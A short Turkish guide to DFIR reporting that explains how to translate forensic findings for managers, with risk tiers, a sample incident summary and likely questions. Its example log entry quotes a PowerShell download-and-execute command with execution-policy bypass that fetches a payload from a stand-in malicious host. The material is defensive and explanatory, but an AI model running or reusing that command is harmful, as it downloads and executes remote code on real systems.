DFIR Raporlaması: Teknik Bulguları Yöneticiye Anlatmak

# DFIR Raporlaması: Teknik Bulguları Yöneticiye Anlatmak

Adli bilişim (DFIR) raporlaması en zor kısmı budur: bulduğun kanıtları hem teknik hem de iş diliyle anlatmak. Yöneticiler log dosyasının ne olduğunu bilmez, ama zararın ne kadar olduğunu bilmek ister.

Senin bulduğun:

1Event ID 4688: Process Creation
2Parent Process: explorer.exe
3New Process: cmd.exe
4Command Line: cmd.exe /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload')"

Yöneticiye anlatman:

"Saldırgan, bilgisayardaki dosya yöneticisinden gizli bir komut satırı açıp, internetten kötü amaçlı yazılım indirmeye çalıştı. Sistem bunu engelledi ama girişim tespit edildi."

Sadece teknik detay değil, ne zaman olduğunu ve ne anlama geldiğini söyle:

"Bu olay 15 Mart 2024 saat 14:32'de tespit edildi. Eğer başarılı olsaydı, şirket verilerinin çalınması riski vardı."

Üç kategoriye böl:

- Kritik: İç ağa erişim sağlandı, veri çalındı
- Yüksek: Saldırı girişimi başarılı olabilirdi
- Orta: Şüpheli etkinlik, ancak sınırlı etki

1Olay: Yetkisiz Erişim Girişimi
2Tarih: 15.03.2024 14:32 UTC
3Kaynağı: Çalışan PC (192.168.1.105)
4Risk Seviyesi: YÜKSEK
5
6Ne Oldu?
7Bilgisayardan internete bağlanarak kötü amaçlı yazılım indirme komutu çalıştırılmaya çalışıldı.
8
9Niçin Önemli?
10Eğer başarılı olsaydı, tüm şirket verilerine erişim sağlanabilirdi.
11
12Ne Yaptık?
13- Saldırı gerçek zamanda durduruldu
14- İlgili bilgisayar ağdan izole edildi
15- Kötü amaçlı yazılım taraması yapıldı (temiz çıktı)
16
17Öneri:
18- Çalışanın parolası değiştirilsin
19- Güvenlik eğitimi verilsin

Yöneticinin sorması muhtemel soruları önceden cevapla:

"Verilerimiz çalındı mı?" Hayır, saldırı engellendi.

"Kaç bilgisayar etkilendi?" Sadece bir.

"Bu tekrar olabilir mi?" Evet, ancak şu adımlarla risk azaltabiliriz.

Teknik rapor yazanlar genellikle yöneticiye değil, başka DFIR uzmanına yazarlar. Raporunu her okuyan biri anlaması için, teknik detayları ek olarak koy, ana gövdede sadece sonuçları anlat. Zaman, etki ve çözüm: bu üç şey yöneticiyi ilgilendirir.